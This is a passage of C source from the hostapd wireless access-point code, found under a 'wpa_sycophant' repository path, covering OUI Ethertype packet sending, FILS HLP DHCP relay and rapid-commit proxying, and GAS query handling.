os_zalloc(sizeof(*receiver)); if (!receiver) goto err; receiver->oui_suffix = oui_suffix; receiver->rx_callback = rx_callback; receiver->rx_callback_ctx = rx_callback_ctx; interfaces = hapd->iface->interfaces; dl_list_for_each(iface, &interfaces->eth_p_oui, struct eth_p_oui_iface, list) { if (os_strcmp(iface->ifname, ifname) != 0) continue; found = 1; break; } if (!found) { iface = os_zalloc(sizeof(*iface)); if (!iface) goto err; os_strlcpy(iface->ifname, ifname, sizeof(iface->ifname)); iface->l2 = l2_packet_init(ifname, NULL, ETH_P_OUI, eth_p_rx, iface, 1); if (!iface->l2) { os_free(iface); goto err; } dl_list_init(&iface->receiver); dl_list_add_tail(&interfaces->eth_p_oui, &iface->list); } dl_list_add_tail(&iface->receiver, &receiver->list); receiver->iface = iface; return receiver; err: os_free(receiver); return NULL; } void eth_p_oui_unregister(struct eth_p_oui_ctx *ctx) { struct eth_p_oui_iface *iface; if (!ctx) return; iface = ctx->iface; dl_list_del(&ctx->list); os_free(ctx); if (dl_list_empty(&iface->receiver)) { dl_list_del(&iface->list); l2_packet_deinit(iface->l2); os_free(iface); } } int eth_p_oui_send(struct eth_p_oui_ctx *ctx, const u8 *src_addr, const u8 *dst_addr, const u8 *buf, size_t len) { struct eth_p_oui_iface *iface = ctx->iface; u8 *packet, *p; size_t packet_len; int ret; struct l2_ethhdr *ethhdr; packet_len = sizeof(*ethhdr) + sizeof(global_oui) + 1 + len; packet = os_zalloc(packet_len); if (!packet) return -1; p = packet; ethhdr = (struct l2_ethhdr *) packet; os_memcpy(ethhdr->h_source, src_addr, ETH_ALEN); os_memcpy(ethhdr->h_dest, dst_addr, ETH_ALEN); ethhdr->h_proto = host_to_be16(ETH_P_OUI); p += sizeof(*ethhdr); os_memcpy(p, global_oui, sizeof(global_oui)); p[sizeof(global_oui)] = ctx->oui_suffix; p += sizeof(global_oui) + 1; os_memcpy(p, buf, len); ret = l2_packet_send(iface->l2, NULL, 0, packet, packet_len); os_free(packet); return ret; } wpa_sycophant-master/src/ap/eth_p_oui.h000066400000000000000000000016761377436615100205700ustar00rootroot00000000000000/* * hostapd / IEEE 802 OUI Extended Ethertype * Copyright (c) 2016, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef ETH_P_OUI_H #define ETH_P_OUI_H struct eth_p_oui_ctx; struct hostapd_data; /* rx_callback only gets payload after OUI passed as buf */ struct eth_p_oui_ctx * eth_p_oui_register(struct hostapd_data *hapd, const char *ifname, u8 oui_suffix, void (*rx_callback)(void *ctx, const u8 *src_addr, const u8 *dst_addr, u8 oui_suffix, const u8 *buf, size_t len), void *rx_callback_ctx); void eth_p_oui_unregister(struct eth_p_oui_ctx *eth_p_oui); int eth_p_oui_send(struct eth_p_oui_ctx *ctx, const u8 *src_addr, const u8 *dst_addr, const u8 *buf, size_t len); void eth_p_oui_deliver(struct eth_p_oui_ctx *ctx, const u8 *src_addr, const u8 *dst_addr, const u8 *buf, size_t len); #endif /* ETH_P_OUI_H */ wpa_sycophant-master/src/ap/fils_hlp.c000066400000000000000000000405311377436615100204010ustar00rootroot00000000000000/* * FILS HLP request processing * Copyright (c) 2017, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "common/dhcp.h" #include "hostapd.h" #include "sta_info.h" #include "ieee802_11.h" #include "fils_hlp.h" static be16 ip_checksum(const void *buf, size_t len) { u32 sum = 0; const u16 *pos; for (pos = buf; len >= 2; len -= 2) sum += ntohs(*pos++); if (len) sum += ntohs(*pos << 8); sum = (sum >> 16) + (sum & 0xffff); sum += sum >> 16; return htons(~sum); } static int fils_dhcp_request(struct hostapd_data *hapd, struct sta_info *sta, struct dhcp_data *dhcpoffer, u8 *dhcpofferend) { u8 *pos, *end; struct dhcp_data *dhcp; struct sockaddr_in addr; ssize_t res; const u8 *server_id = NULL; if (!sta->hlp_dhcp_discover) { wpa_printf(MSG_DEBUG, "FILS: No pending HLP DHCPDISCOVER available"); return -1; } /* Convert to DHCPREQUEST, remove rapid commit option, replace requested * IP address option with yiaddr. */ pos = wpabuf_mhead(sta->hlp_dhcp_discover); end = pos + wpabuf_len(sta->hlp_dhcp_discover); dhcp = (struct dhcp_data *) pos; pos = (u8 *) (dhcp + 1); pos += 4; /* skip magic */ while (pos < end && *pos != DHCP_OPT_END) { u8 opt, olen; opt = *pos++; if (opt == DHCP_OPT_PAD) continue; if (pos >= end) break; olen = *pos++; if (olen > end - pos) break; switch (opt) { case DHCP_OPT_MSG_TYPE: if (olen > 0) *pos = DHCPREQUEST; break; case DHCP_OPT_RAPID_COMMIT: case DHCP_OPT_REQUESTED_IP_ADDRESS: case DHCP_OPT_SERVER_ID: /* Remove option */ pos -= 2; os_memmove(pos, pos + 2 + olen, end - pos - 2 - olen); end -= 2 + olen; olen = 0; break; } pos += olen; } if (pos >= end || *pos != DHCP_OPT_END) { wpa_printf(MSG_DEBUG, "FILS: Could not update DHCPDISCOVER"); return -1; } sta->hlp_dhcp_discover->used = pos - (u8 *) dhcp; /* Copy Server ID option from DHCPOFFER to DHCPREQUEST */ pos = (u8 *) (dhcpoffer + 1); end = dhcpofferend; pos += 4; /* skip magic */ while (pos < end && *pos != DHCP_OPT_END) { u8 opt, olen; opt = *pos++; if (opt == DHCP_OPT_PAD) continue; if (pos >= end) break; olen = *pos++; if (olen > end - pos) break; switch (opt) { case DHCP_OPT_SERVER_ID: server_id = pos - 2; break; } pos += olen; } if (wpabuf_resize(&sta->hlp_dhcp_discover, 6 + 1 + (server_id ? 2 + server_id[1] : 0))) return -1; if (server_id) wpabuf_put_data(sta->hlp_dhcp_discover, server_id, 2 + server_id[1]); wpabuf_put_u8(sta->hlp_dhcp_discover, DHCP_OPT_REQUESTED_IP_ADDRESS); wpabuf_put_u8(sta->hlp_dhcp_discover, 4); wpabuf_put_data(sta->hlp_dhcp_discover, &dhcpoffer->your_ip, 4); wpabuf_put_u8(sta->hlp_dhcp_discover, DHCP_OPT_END); os_memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = hapd->conf->dhcp_server.u.v4.s_addr; addr.sin_port = htons(hapd->conf->dhcp_server_port); res = sendto(hapd->dhcp_sock, wpabuf_head(sta->hlp_dhcp_discover), wpabuf_len(sta->hlp_dhcp_discover), 0, (const struct sockaddr *) &addr, sizeof(addr)); if (res < 0) { wpa_printf(MSG_ERROR, "FILS: DHCP sendto failed: %s", strerror(errno)); return -1; } wpa_printf(MSG_DEBUG, "FILS: Acting as DHCP rapid commit proxy for %s:%d", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port)); wpabuf_free(sta->hlp_dhcp_discover); sta->hlp_dhcp_discover = NULL; sta->fils_dhcp_rapid_commit_proxy = 1; return 0; } static void fils_dhcp_handler(int sd, void *eloop_ctx, void *sock_ctx) { struct hostapd_data *hapd = sock_ctx; struct sta_info *sta; u8 buf[1500], *pos, *end, *end_opt = NULL; struct dhcp_data *dhcp; struct sockaddr_in addr; socklen_t addr_len; ssize_t res; u8 msgtype = 0; int rapid_commit = 0; struct iphdr *iph; struct udphdr *udph; struct wpabuf *resp; const u8 *rpos; size_t left, len; addr_len = sizeof(addr); res = recvfrom(sd, buf, sizeof(buf), 0, (struct sockaddr *) &addr, &addr_len); if (res < 0) { wpa_printf(MSG_DEBUG, "FILS: DHCP read failed: %s", strerror(errno)); return; } wpa_printf(MSG_DEBUG, "FILS: DHCP response from server %s:%d (len=%d)", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port), (int) res); wpa_hexdump(MSG_MSGDUMP, "FILS: HLP - DHCP server response", buf, res); if ((size_t) res < sizeof(*dhcp)) return; dhcp = (struct dhcp_data *) buf; if (dhcp->op != 2) return; /* Not a BOOTREPLY */ if (dhcp->relay_ip != hapd->conf->own_ip_addr.u.v4.s_addr) { wpa_printf(MSG_DEBUG, "FILS: HLP - DHCP response to unknown relay address 0x%x", dhcp->relay_ip); return; } dhcp->relay_ip = 0; pos = (u8 *) (dhcp + 1); end = &buf[res]; if (end - pos < 4 || WPA_GET_BE32(pos) != DHCP_MAGIC) { wpa_printf(MSG_DEBUG, "FILS: HLP - no DHCP magic in response"); return; } pos += 4; wpa_hexdump(MSG_DEBUG, "FILS: HLP - DHCP options in response", pos, end - pos); while (pos < end && *pos != DHCP_OPT_END) { u8 opt, olen; opt = *pos++; if (opt == DHCP_OPT_PAD) continue; if (pos >= end) break; olen = *pos++; if (olen > end - pos) break; switch (opt) { case DHCP_OPT_MSG_TYPE: if (olen > 0) msgtype = pos[0]; break; case DHCP_OPT_RAPID_COMMIT: rapid_commit = 1; break; } pos += olen; } if (pos < end && *pos == DHCP_OPT_END) end_opt = pos; wpa_printf(MSG_DEBUG, "FILS: HLP - DHCP message type %u (rapid_commit=%d hw_addr=" MACSTR ")", msgtype, rapid_commit, MAC2STR(dhcp->hw_addr)); sta = ap_get_sta(hapd, dhcp->hw_addr); if (!sta || !sta->fils_pending_assoc_req) { wpa_printf(MSG_DEBUG, "FILS: No pending HLP DHCP exchange with hw_addr " MACSTR, MAC2STR(dhcp->hw_addr)); return; } if (hapd->conf->dhcp_rapid_commit_proxy && msgtype == DHCPOFFER && !rapid_commit) { /* Use hostapd to take care of 4-message exchange and convert * the final DHCPACK to rapid commit version. */ if (fils_dhcp_request(hapd, sta, dhcp, end) == 0) return; /* failed, so send the server response as-is */ } else if (msgtype != DHCPACK) { wpa_printf(MSG_DEBUG, "FILS: No DHCPACK available from the server and cannot do rapid commit proxying"); } pos = buf; resp = wpabuf_alloc(2 * ETH_ALEN + 6 + 2 + sizeof(*iph) + sizeof(*udph) + (end - pos) + 2); if (!resp) return; wpabuf_put_data(resp, sta->addr, ETH_ALEN); wpabuf_put_data(resp, hapd->own_addr, ETH_ALEN); wpabuf_put_data(resp, "\xaa\xaa\x03\x00\x00\x00", 6); wpabuf_put_be16(resp, ETH_P_IP); iph = wpabuf_put(resp, sizeof(*iph)); iph->version = 4; iph->ihl = sizeof(*iph) / 4; iph->tot_len = htons(sizeof(*iph) + sizeof(*udph) + (end - pos)); iph->ttl = 1; iph->protocol = 17; /* UDP */ iph->saddr = hapd->conf->dhcp_server.u.v4.s_addr; iph->daddr = dhcp->client_ip; iph->check = ip_checksum(iph, sizeof(*iph)); udph = wpabuf_put(resp, sizeof(*udph)); udph->uh_sport = htons(DHCP_SERVER_PORT); udph->uh_dport = htons(DHCP_CLIENT_PORT); udph->uh_ulen = htons(sizeof(*udph) + (end - pos)); udph->uh_sum = htons(0x0000); /* TODO: calculate checksum */ if (hapd->conf->dhcp_rapid_commit_proxy && msgtype == DHCPACK && !rapid_commit && sta->fils_dhcp_rapid_commit_proxy && end_opt) { /* Add rapid commit option */ wpabuf_put_data(resp, pos, end_opt - pos); wpabuf_put_u8(resp, DHCP_OPT_RAPID_COMMIT); wpabuf_put_u8(resp, 0); wpabuf_put_data(resp, end_opt, end - end_opt); } else { wpabuf_put_data(resp, pos, end - pos); } if (wpabuf_resize(&sta->fils_hlp_resp, wpabuf_len(resp) + 2 * wpabuf_len(resp) / 255 + 100)) { wpabuf_free(resp); return; } rpos = wpabuf_head(resp); left = wpabuf_len(resp); wpabuf_put_u8(sta->fils_hlp_resp, WLAN_EID_EXTENSION); /* Element ID */ if (left <= 254) len = 1 + left; else len = 255; wpabuf_put_u8(sta->fils_hlp_resp, len); /* Length */ /* Element ID Extension */ wpabuf_put_u8(sta->fils_hlp_resp, WLAN_EID_EXT_FILS_HLP_CONTAINER); /* Destination MAC Address, Source MAC Address, HLP Packet. * HLP Packet is in MSDU format (i.e., including the LLC/SNAP header * when LPD is used). */ wpabuf_put_data(sta->fils_hlp_resp, rpos, len - 1); rpos += len - 1; left -= len - 1; while (left) { wpabuf_put_u8(sta->fils_hlp_resp, WLAN_EID_FRAGMENT); len = left > 255 ? 255 : left; wpabuf_put_u8(sta->fils_hlp_resp, len); wpabuf_put_data(sta->fils_hlp_resp, rpos, len); rpos += len; left -= len; } wpabuf_free(resp); if (sta->fils_drv_assoc_finish) hostapd_notify_assoc_fils_finish(hapd, sta); else fils_hlp_finish_assoc(hapd, sta); } static int fils_process_hlp_dhcp(struct hostapd_data *hapd, struct sta_info *sta, const u8 *msg, size_t len) { const struct dhcp_data *dhcp; struct wpabuf *dhcp_buf; struct dhcp_data *dhcp_msg; u8 msgtype = 0; int rapid_commit = 0; const u8 *pos = msg, *end; struct sockaddr_in addr; ssize_t res; if (len < sizeof(*dhcp)) return 0; dhcp = (const struct dhcp_data *) pos; end = pos + len; wpa_printf(MSG_DEBUG, "FILS: HLP request DHCP: op=%u htype=%u hlen=%u hops=%u xid=0x%x", dhcp->op, dhcp->htype, dhcp->hlen, dhcp->hops, ntohl(dhcp->xid)); pos += sizeof(*dhcp); if (dhcp->op != 1) return 0; /* Not a BOOTREQUEST */ if (end - pos < 4) return 0; if (WPA_GET_BE32(pos) != DHCP_MAGIC) { wpa_printf(MSG_DEBUG, "FILS: HLP - no DHCP magic"); return 0; } pos += 4; wpa_hexdump(MSG_DEBUG, "FILS: HLP - DHCP options", pos, end - pos); while (pos < end && *pos != DHCP_OPT_END) { u8 opt, olen; opt = *pos++; if (opt == DHCP_OPT_PAD) continue; if (pos >= end) break; olen = *pos++; if (olen > end - pos) break; switch (opt) { case DHCP_OPT_MSG_TYPE: if (olen > 0) msgtype = pos[0]; break; case DHCP_OPT_RAPID_COMMIT: rapid_commit = 1; break; } pos += olen; } wpa_printf(MSG_DEBUG, "FILS: HLP - DHCP message type %u", msgtype); if (msgtype != DHCPDISCOVER) return 0; if (hapd->conf->dhcp_server.af != AF_INET || hapd->conf->dhcp_server.u.v4.s_addr == 0) { wpa_printf(MSG_DEBUG, "FILS: HLP - no DHCPv4 server configured - drop request"); return 0; } if (hapd->conf->own_ip_addr.af != AF_INET || hapd->conf->own_ip_addr.u.v4.s_addr == 0) { wpa_printf(MSG_DEBUG, "FILS: HLP - no IPv4 own_ip_addr configured - drop request"); return 0; } if (hapd->dhcp_sock < 0) { int s; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { wpa_printf(MSG_ERROR, "FILS: Failed to open DHCP socket: %s", strerror(errno)); return 0; } if (hapd->conf->dhcp_relay_port) { os_memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = hapd->conf->own_ip_addr.u.v4.s_addr; addr.sin_port = htons(hapd->conf->dhcp_relay_port); if (bind(s, (struct sockaddr *) &addr, sizeof(addr))) { wpa_printf(MSG_ERROR, "FILS: Failed to bind DHCP socket: %s", strerror(errno)); close(s); return 0; } } if (eloop_register_sock(s, EVENT_TYPE_READ, fils_dhcp_handler, NULL, hapd)) { close(s); return 0; } hapd->dhcp_sock = s; } dhcp_buf = wpabuf_alloc(len); if (!dhcp_buf) return 0; dhcp_msg = wpabuf_put(dhcp_buf, len); os_memcpy(dhcp_msg, msg, len); dhcp_msg->relay_ip = hapd->conf->own_ip_addr.u.v4.s_addr; os_memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = hapd->conf->dhcp_server.u.v4.s_addr; addr.sin_port = htons(hapd->conf->dhcp_server_port); res = sendto(hapd->dhcp_sock, dhcp_msg, len, 0, (const struct sockaddr *) &addr, sizeof(addr)); if (res < 0) { wpa_printf(MSG_ERROR, "FILS: DHCP sendto failed: %s", strerror(errno)); wpabuf_free(dhcp_buf); /* Close the socket to try to recover from error */ eloop_unregister_read_sock(hapd->dhcp_sock); close(hapd->dhcp_sock); hapd->dhcp_sock = -1; return 0; } wpa_printf(MSG_DEBUG, "FILS: HLP relayed DHCP request to server %s:%d (rapid_commit=%d)", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port), rapid_commit); if (hapd->conf->dhcp_rapid_commit_proxy && rapid_commit) { /* Store a copy of the DHCPDISCOVER for rapid commit proxying * purposes if the server does not support the rapid commit * option. */ wpa_printf(MSG_DEBUG, "FILS: Store DHCPDISCOVER for rapid commit proxy"); wpabuf_free(sta->hlp_dhcp_discover); sta->hlp_dhcp_discover = dhcp_buf; } else { wpabuf_free(dhcp_buf); } return 1; } static int fils_process_hlp_udp(struct hostapd_data *hapd, struct sta_info *sta, const u8 *dst, const u8 *pos, size_t len) { const struct iphdr *iph; const struct udphdr *udph; u16 sport, dport, ulen; if (len < sizeof(*iph) + sizeof(*udph)) return 0; iph = (const struct iphdr *) pos; udph = (const struct udphdr *) (iph + 1); sport = ntohs(udph->uh_sport); dport = ntohs(udph->uh_dport); ulen = ntohs(udph->uh_ulen); wpa_printf(MSG_DEBUG, "FILS: HLP request UDP: sport=%u dport=%u ulen=%u sum=0x%x", sport, dport, ulen, ntohs(udph->uh_sum)); /* TODO: Check UDP checksum */ if (ulen < sizeof(*udph) || ulen > len - sizeof(*iph)) return 0; if (dport == DHCP_SERVER_PORT && sport == DHCP_CLIENT_PORT) { return fils_process_hlp_dhcp(hapd, sta, (const u8 *) (udph + 1), ulen - sizeof(*udph)); } return 0; } static int fils_process_hlp_ip(struct hostapd_data *hapd, struct sta_info *sta, const u8 *dst, const u8 *pos, size_t len) { const struct iphdr *iph; u16 tot_len; if (len < sizeof(*iph)) return 0; iph = (const struct iphdr *) pos; if (ip_checksum(iph, sizeof(*iph)) != 0) { wpa_printf(MSG_DEBUG, "FILS: HLP request IPv4 packet had invalid header checksum - dropped"); return 0; } tot_len = ntohs(iph->tot_len); if (tot_len > len) return 0; wpa_printf(MSG_DEBUG, "FILS: HLP request IPv4: saddr=%08x daddr=%08x protocol=%u", iph->saddr, iph->daddr, iph->protocol); switch (iph->protocol) { case 17: return fils_process_hlp_udp(hapd, sta, dst, pos, len); } return 0; } static int fils_process_hlp_req(struct hostapd_data *hapd, struct sta_info *sta, const u8 *pos, size_t len) { const u8 *pkt, *end; wpa_printf(MSG_DEBUG, "FILS: HLP request from " MACSTR " (dst=" MACSTR " src=" MACSTR " len=%u)", MAC2STR(sta->addr), MAC2STR(pos), MAC2STR(pos + ETH_ALEN), (unsigned int) len); if (os_memcmp(sta->addr, pos + ETH_ALEN, ETH_ALEN) != 0) { wpa_printf(MSG_DEBUG, "FILS: Ignore HLP request with unexpected source address" MACSTR, MAC2STR(pos + ETH_ALEN)); return 0; } end = pos + len; pkt = pos + 2 * ETH_ALEN; if (end - pkt >= 6 && os_memcmp(pkt, "\xaa\xaa\x03\x00\x00\x00", 6) == 0) pkt += 6; /* Remove SNAP/LLC header */ wpa_hexdump(MSG_MSGDUMP, "FILS: HLP request packet", pkt, end - pkt); if (end - pkt < 2) return 0; switch (WPA_GET_BE16(pkt)) { case ETH_P_IP: return fils_process_hlp_ip(hapd, sta, pos, pkt + 2, end - pkt - 2); } return 0; } int fils_process_hlp(struct hostapd_data *hapd, struct sta_info *sta, const u8 *pos, int left) { const u8 *end = pos + left; u8 *tmp, *tmp_pos; int ret = 0; /* Old DHCPDISCOVER is not needed anymore, if it was still pending */ wpabuf_free(sta->hlp_dhcp_discover); sta->hlp_dhcp_discover = NULL; sta->fils_dhcp_rapid_commit_proxy = 0; /* Check if there are any FILS HLP Container elements */ while (end - pos >= 2) { if (2 + pos[1] > end - pos) return 0; if (pos[0] == WLAN_EID_EXTENSION && pos[1] >= 1 + 2 * ETH_ALEN && pos[2] == WLAN_EID_EXT_FILS_HLP_CONTAINER) break; pos += 2 + pos[1]; } if (end - pos < 2) return 0; /* No FILS HLP Container elements */ tmp = os_malloc(end - pos); if (!tmp) return 0; while (end - pos >= 2) { if (2 + pos[1] > end - pos || pos[0] != WLAN_EID_EXTENSION || pos[1] < 1 + 2 * ETH_ALEN || pos[2] != WLAN_EID_EXT_FILS_HLP_CONTAINER) break; tmp_pos = tmp; os_memcpy(tmp_pos, pos + 3, pos[1] - 1); tmp_pos += pos[1] - 1; pos += 2 + pos[1]; /* Add possible fragments */ while (end - pos >= 2 && pos[0] == WLAN_EID_FRAGMENT && 2 + pos[1] <= end - pos) { os_memcpy(tmp_pos, pos + 2, pos[1]); tmp_pos += pos[1]; pos += 2 + pos[1]; } if (fils_process_hlp_req(hapd, sta, tmp, tmp_pos - tmp) > 0) ret = 1; } os_free(tmp); return ret; } void fils_hlp_deinit(struct hostapd_data *hapd) { if (hapd->dhcp_sock >= 0) { eloop_unregister_read_sock(hapd->dhcp_sock); close(hapd->dhcp_sock); hapd->dhcp_sock = -1; } } wpa_sycophant-master/src/ap/fils_hlp.h000066400000000000000000000010431377436615100204010ustar00rootroot00000000000000/* * FILS HLP request processing * Copyright (c) 2017, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef FILS_HLP_H #define FILS_HLP_H int fils_process_hlp(struct hostapd_data *hapd, struct sta_info *sta, const u8 *pos, int left); #ifdef CONFIG_FILS void fils_hlp_deinit(struct hostapd_data *hapd); #else /* CONFIG_FILS */ static inline void fils_hlp_deinit(struct hostapd_data *hapd) { } #endif /* CONFIG_FILS */ #endif /* FILS_HLP_H */ wpa_sycophant-master/src/ap/gas_query_ap.c000066400000000000000000000470341377436615100212650ustar00rootroot00000000000000/* * Generic advertisement service (GAS) query (hostapd) * Copyright (c) 2009, Atheros Communications * Copyright (c) 2011-2017, Qualcomm Atheros, Inc. * Copyright (c) 2011-2014, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "includes.h" #include "common.h" #include "utils/eloop.h" #include "utils/list.h" #include "common/ieee802_11_defs.h" #include "common/gas.h" #include "common/wpa_ctrl.h" #include "hostapd.h" #include "sta_info.h" #include "ap_drv_ops.h" #include "gas_query_ap.h" /** GAS query timeout in seconds */ #define GAS_QUERY_TIMEOUT_PERIOD 2 /* GAS query wait-time / duration in ms */ #define GAS_QUERY_WAIT_TIME_INITIAL 1000 #define GAS_QUERY_WAIT_TIME_COMEBACK 150 /** * struct gas_query_pending - Pending GAS query */ struct gas_query_pending { struct dl_list list; struct gas_query_ap *gas; u8 addr[ETH_ALEN]; u8 dialog_token; u8 next_frag_id; unsigned int wait_comeback:1; unsigned int offchannel_tx_started:1; unsigned int retry:1; int freq; u16 status_code; struct wpabuf *req; struct wpabuf *adv_proto; struct wpabuf *resp; struct os_reltime last_oper; void (*cb)(void *ctx, const u8 *dst, u8 dialog_token, enum gas_query_ap_result result, const struct wpabuf *adv_proto, const struct wpabuf *resp, u16 status_code); void *ctx; u8 sa[ETH_ALEN]; }; /** * struct gas_query_ap - Internal GAS query data */ struct gas_query_ap { struct hostapd_data *hapd; void *msg_ctx; struct dl_list pending; /* struct gas_query_pending */ struct gas_query_pending *current; }; static void gas_query_tx_comeback_timeout(void *eloop_data, void *user_ctx); static void gas_query_timeout(void *eloop_data, void *user_ctx); static void gas_query_rx_comeback_timeout(void *eloop_data, void *user_ctx); static void gas_query_tx_initial_req(struct gas_query_ap *gas, struct gas_query_pending *query); static int gas_query_new_dialog_token(struct gas_query_ap *gas, const u8 *dst); static int ms_from_time(struct os_reltime *last) { struct os_reltime now, res; os_get_reltime(&now); os_reltime_sub(&now, last, &res); return res.sec * 1000 + res.usec / 1000; } /** * gas_query_ap_init - Initialize GAS query component * @hapd: Pointer to hostapd data * Returns: Pointer to GAS query data or %NULL on failure */ struct gas_query_ap * gas_query_ap_init(struct hostapd_data *hapd, void *msg_ctx) { struct gas_query_ap *gas; gas = os_zalloc(sizeof(*gas)); if (!gas) return NULL; gas->hapd = hapd; gas->msg_ctx = msg_ctx; dl_list_init(&gas->pending); return gas; } static const char * gas_result_txt(enum gas_query_ap_result result) { switch (result) { case GAS_QUERY_AP_SUCCESS: return "SUCCESS"; case GAS_QUERY_AP_FAILURE: return "FAILURE"; case GAS_QUERY_AP_TIMEOUT: return "TIMEOUT"; case GAS_QUERY_AP_PEER_ERROR: return "PEER_ERROR"; case GAS_QUERY_AP_INTERNAL_ERROR: return "INTERNAL_ERROR"; case GAS_QUERY_AP_DELETED_AT_DEINIT: return "DELETED_AT_DEINIT"; } return "N/A"; } static void gas_query_free(struct gas_query_pending *query, int del_list) { if (del_list) dl_list_del(&query->list); wpabuf_free(query->req); wpabuf_free(query->adv_proto); wpabuf_free(query->resp); os_free(query); } static void gas_query_done(struct gas_query_ap *gas, struct gas_query_pending *query, enum gas_query_ap_result result) { wpa_msg(gas->msg_ctx, MSG_INFO, GAS_QUERY_DONE "addr=" MACSTR " dialog_token=%u freq=%d status_code=%u result=%s", MAC2STR(query->addr), query->dialog_token, query->freq, query->status_code, gas_result_txt(result)); if (gas->current == query) gas->current = NULL; eloop_cancel_timeout(gas_query_tx_comeback_timeout, gas, query); eloop_cancel_timeout(gas_query_timeout, gas, query); eloop_cancel_timeout(gas_query_rx_comeback_timeout, gas, query); dl_list_del(&query->list); query->cb(query->ctx, query->addr, query->dialog_token, result, query->adv_proto, query->resp, query->status_code); gas_query_free(query, 0); } /** * gas_query_ap_deinit - Deinitialize GAS query component * @gas: GAS query data from gas_query_init() */ void gas_query_ap_deinit(struct gas_query_ap *gas) { struct gas_query_pending *query, *next; if (gas == NULL) return; dl_list_for_each_safe(query, next, &gas->pending, struct gas_query_pending, list) gas_query_done(gas, query, GAS_QUERY_AP_DELETED_AT_DEINIT); os_free(gas); } static struct gas_query_pending * gas_query_get_pending(struct gas_query_ap *gas, const u8 *addr, u8 dialog_token) { struct gas_query_pending *q; dl_list_for_each(q, &gas->pending, struct gas_query_pending, list) { if (os_memcmp(q->addr, addr, ETH_ALEN) == 0 && q->dialog_token == dialog_token) return q; } return NULL; } static int gas_query_append(struct gas_query_pending *query, const u8 *data, size_t len) { if (wpabuf_resize(&query->resp, len) < 0) { wpa_printf(MSG_DEBUG, "GAS: No memory to store the response"); return -1; } wpabuf_put_data(query->resp, data, len); return 0; } void gas_query_ap_tx_status(struct gas_query_ap *gas, const u8 *dst, const u8 *data, size_t data_len, int ok) { struct gas_query_pending *query; int dur; if (!gas || !gas->current) { wpa_printf(MSG_DEBUG, "GAS: Unexpected TX status: dst=" MACSTR " ok=%d - no query in progress", MAC2STR(dst), ok); return; } query = gas->current; dur = ms_from_time(&query->last_oper); wpa_printf(MSG_DEBUG, "GAS: TX status: dst=" MACSTR " ok=%d query=%p dialog_token=%u dur=%d ms", MAC2STR(dst), ok, query, query->dialog_token, dur); if (os_memcmp(dst, query->addr, ETH_ALEN) != 0) { wpa_printf(MSG_DEBUG, "GAS: TX status for unexpected destination"); return; } os_get_reltime(&query->last_oper); eloop_cancel_timeout(gas_query_timeout, gas, query); if (!ok) { wpa_printf(MSG_DEBUG, "GAS: No ACK to GAS request"); eloop_register_timeout(0, 250000, gas_query_timeout, gas, query); } else { eloop_register_timeout(GAS_QUERY_TIMEOUT_PERIOD, 0, gas_query_timeout, gas, query); } if (query->wait_comeback && !query->retry) { eloop_cancel_timeout(gas_query_rx_comeback_timeout, gas, query); eloop_register_timeout( 0, (GAS_QUERY_WAIT_TIME_COMEBACK + 10) * 1000, gas_query_rx_comeback_timeout, gas, query); } } static int pmf_in_use(struct hostapd_data *hapd, const u8 *addr) { struct sta_info *sta; sta = ap_get_sta(hapd, addr); return sta && (sta->flags & WLAN_STA_MFP); } static int gas_query_tx(struct gas_query_ap *gas, struct gas_query_pending *query, struct wpabuf *req, unsigned int wait_time) { int res, prot = pmf_in_use(gas->hapd, query->addr); wpa_printf(MSG_DEBUG, "GAS: Send action frame to " MACSTR " len=%u " "freq=%d prot=%d using src addr " MACSTR, MAC2STR(query->addr), (unsigned int) wpabuf_len(req), query->freq, prot, MAC2STR(query->sa)); if (prot) { u8 *categ = wpabuf_mhead_u8(req); *categ = WLAN_ACTION_PROTECTED_DUAL; } os_get_reltime(&query->last_oper); res = hostapd_drv_send_action(gas->hapd, query->freq, wait_time, query->addr, wpabuf_head(req), wpabuf_len(req)); return res; } static void gas_query_tx_comeback_req(struct gas_query_ap *gas, struct gas_query_pending *query) { struct wpabuf *req; unsigned int wait_time; req = gas_build_comeback_req(query->dialog_token); if (req == NULL) { gas_query_done(gas, query, GAS_QUERY_AP_INTERNAL_ERROR); return; } wait_time = (query->retry || !query->offchannel_tx_started) ? GAS_QUERY_WAIT_TIME_INITIAL : GAS_QUERY_WAIT_TIME_COMEBACK; if (gas_query_tx(gas, query, req, wait_time) < 0) { wpa_printf(MSG_DEBUG, "GAS: Failed to send Action frame to " MACSTR, MAC2STR(query->addr)); gas_query_done(gas, query, GAS_QUERY_AP_INTERNAL_ERROR); } wpabuf_free(req); } static void gas_query_rx_comeback_timeout(void *eloop_data, void *user_ctx) { struct gas_query_ap *gas = eloop_data; struct gas_query_pending *query = user_ctx; int dialog_token; wpa_printf(MSG_DEBUG, "GAS: No response to comeback request received (retry=%u)", query->retry); if (gas->current != query || query->retry) return; dialog_token = gas_query_new_dialog_token(gas, query->addr); if (dialog_token < 0) return; wpa_printf(MSG_DEBUG, "GAS: Retry GAS query due to comeback response timeout"); query->retry = 1; query->dialog_token = dialog_token; *(wpabuf_mhead_u8(query->req) + 2) = dialog_token; query->wait_comeback = 0; query->next_frag_id = 0; wpabuf_free(query->adv_proto); query->adv_proto = NULL; eloop_cancel_timeout(gas_query_tx_comeback_timeout, gas, query); eloop_cancel_timeout(gas_query_timeout, gas, query); gas_query_tx_initial_req(gas, query); } static void gas_query_tx_comeback_timeout(void *eloop_data, void *user_ctx) { struct gas_query_ap *gas = eloop_data; struct gas_query_pending *query = user_ctx; wpa_printf(MSG_DEBUG, "GAS: Comeback timeout for request to " MACSTR, MAC2STR(query->addr)); gas_query_tx_comeback_req(gas, query); } static void gas_query_tx_comeback_req_delay(struct gas_query_ap *gas, struct gas_query_pending *query, u16 comeback_delay) { unsigned int secs, usecs; secs = (comeback_delay * 1024) / 1000000; usecs = 